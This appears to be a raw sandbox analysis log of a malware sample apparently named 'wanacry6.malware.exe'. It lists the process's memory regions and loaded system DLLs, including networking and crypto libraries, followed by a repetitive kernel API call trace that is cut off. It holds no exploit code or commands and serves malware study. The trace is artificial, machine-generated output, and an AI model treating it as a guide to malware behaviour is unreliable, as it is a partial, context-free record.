start_va = 0xcb27840000 end_va = 0xcb2784ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27840000" filename = "" Region: id = 10472 start_va = 0x7ff6cf1c0000 end_va = 0x7ff6cf2bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cf1c0000" filename = "" Region: id = 10473 start_va = 0xcb27ca0000 end_va = 0xcb27d1dfff entry_point = 0xcb27ca0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 10474 start_va = 0xcb27e30000 end_va = 0xcb2822ffff entry_point = 0x0 region_type = private name = "private_0x000000cb27e30000" filename = "" Region: id = 10475 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 10476 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 10477 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 10478 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 10479 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 10480 start_va = 0xcb27850000 end_va = 0xcb27856fff entry_point = 0x0 region_type = private name = "private_0x000000cb27850000" filename = "" Region: id = 10481 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 10482 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 10483 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 10484 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 10485 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 10486 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 10487 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 10488 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 10489 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 10490 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 10491 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 10492 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10493 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 10494 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 10495 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 10496 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 10497 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 10498 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 10499 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 10500 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 10501 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 10502 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 10503 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 10504 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 10505 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 10506 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 10507 start_va = 0xcb27d20000 end_va = 0xcb27d2ffff entry_point = 0x0 region_type = private name = "private_0x000000cb27d20000" filename = "" Region: id = 10508 start_va = 0xcb27d30000 end_va = 0xcb27d36fff entry_point = 0x0 region_type = private name = "private_0x000000cb27d30000" filename = "" Region: id = 10509 start_va = 0xcb27d40000 end_va = 0xcb27d73fff entry_point = 0xcb27d41030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 10510 start_va = 0xcb28230000 end_va = 0xcb283b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb28230000" filename = "" Region: id = 10511 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 10512 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 10513 start_va = 0xcb283c0000 end_va = 0xcb28540fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb283c0000" filename = "" Region: id = 10514 start_va = 0xcb28550000 end_va = 0xcb2994ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb28550000" filename = "" Region: id = 10515 start_va = 0xcb27d40000 end_va = 0xcb27d40fff entry_point = 0x0 region_type = private name = "private_0x000000cb27d40000" filename = "" Region: id = 10516 start_va = 0xcb27d50000 end_va = 0xcb27d50fff entry_point = 0x0 region_type = private name = "private_0x000000cb27d50000" filename = "" Region: id = 10517 start_va = 0xcb27d60000 end_va = 0xcb27d60fff entry_point = 0xcb27d60000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 10518 start_va = 0xcb27d70000 end_va = 0xcb27d71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27d70000" filename = "" Region: id = 10519 start_va = 0xcb29950000 end_va = 0xcb29afffff entry_point = 0x0 region_type = private name = "private_0x000000cb29950000" filename = "" Region: id = 10520 start_va = 0xcb29950000 end_va = 0xcb29a09fff entry_point = 0xcb2997c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 10521 start_va = 0xcb29af0000 end_va = 0xcb29afffff entry_point = 0x0 region_type = private name = "private_0x000000cb29af0000" filename = "" Region: id = 10522 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 10523 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 10524 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 10525 start_va = 0xcb27d60000 end_va = 0xcb27d60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27d60000" filename = "" Region: id = 10526 start_va = 0xcb29950000 end_va = 0xcb29a3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb29950000" filename = "" Region: id = 10527 start_va = 0xcb27d60000 end_va = 0xcb27d63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27d60000" filename = "" Region: id = 10528 start_va = 0xcb27d80000 end_va = 0xcb27d86fff entry_point = 0x0 region_type = private name = "private_0x000000cb27d80000" filename = "" Region: id = 10529 start_va = 0xcb29b00000 end_va = 0xcb29bfffff entry_point = 0x0 region_type = private name = "private_0x000000cb29b00000" filename = "" Region: id = 10530 start_va = 0xcb29c00000 end_va = 0xcb29d00fff entry_point = 0xcb29c2fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 10531 start_va = 0xcb27d90000 end_va = 0xcb27d90fff entry_point = 0x0 region_type = private name = "private_0x000000cb27d90000" filename = "" Region: id = 10532 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 10533 start_va = 0xcb29c00000 end_va = 0xcb29ed4fff entry_point = 0xcb29c00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 10534 start_va = 0xcb27da0000 end_va = 0xcb27da2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27da0000" filename = "" Region: id = 10535 start_va = 0xcb27da0000 end_va = 0xcb27da0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27da0000" filename = "" Region: id = 10536 start_va = 0xcb27db0000 end_va = 0xcb27db0fff entry_point = 0x0 region_type = private name = "private_0x000000cb27db0000" filename = "" Region: id = 10537 start_va = 0xcb29ee0000 end_va = 0xcb2a3d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb29ee0000" filename = "" Region: id = 10538 start_va = 0xcb2a3e0000 end_va = 0xcb2b24ffff entry_point = 0xcb2a3e0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 10539 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10540 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10541 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10542 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10543 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10544 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10545 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10546 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10547 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10548 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10549 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10550 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10551 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10552 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10553 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10554 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10555 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10556 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10557 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10558 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10559 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10560 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10561 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10562 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10563 start_va = 0xcb27dc0000 end_va = 0xcb27dc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27dc0000" filename = "" Region: id = 10564 start_va = 0xcb2b250000 end_va = 0xcb2b467fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb2b250000" filename = "" Region: id = 10565 start_va = 0xcb27dc0000 end_va = 0xcb27dc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27dc0000" filename = "" Region: id = 10566 start_va = 0xcb27dd0000 end_va = 0xcb27dd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27dd0000" filename = "" Region: id = 10567 start_va = 0xcb27de0000 end_va = 0xcb27e23fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27de0000" filename = "" Region: id = 10568 start_va = 0xcb2b470000 end_va = 0xcb2e305fff entry_point = 0xcb2b470000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 10569 start_va = 0xcb2e310000 end_va = 0xcb2e709fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb2e310000" filename = "" Region: id = 10570 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 10571 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 10572 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Thread: id = 907 os_tid = 0xb40 [0155.915] EngAllocMem () returned 0xfffff9014251f030 [0155.915] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.915] MmMapViewOfSection (in: SectionObject=0xffffc00001c662c0, Process=0xffffe00001078440, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0xcb2b250000, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff9014251f370) returned 0x0 [0155.915] EngCreateBitmap () returned 0xffffffffbc050599 [0155.915] EngAssociateSurface () returned 0x1 [0155.915] EngLockSurface () returned 0xfffff901409dfcb8 [0155.915] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001127c40 [0155.915] KeInitializeEvent (in: Event=0xffffe00001127c58, Type=0x1, State=0 | out: Event=0xffffe00001127c58) [0155.916] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.922] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0155.949] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.950] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.952] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.952] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.952] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.952] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.952] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.952] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.952] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.952] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.953] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.953] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.953] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.953] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.953] IoGetCurrentProcess () returned 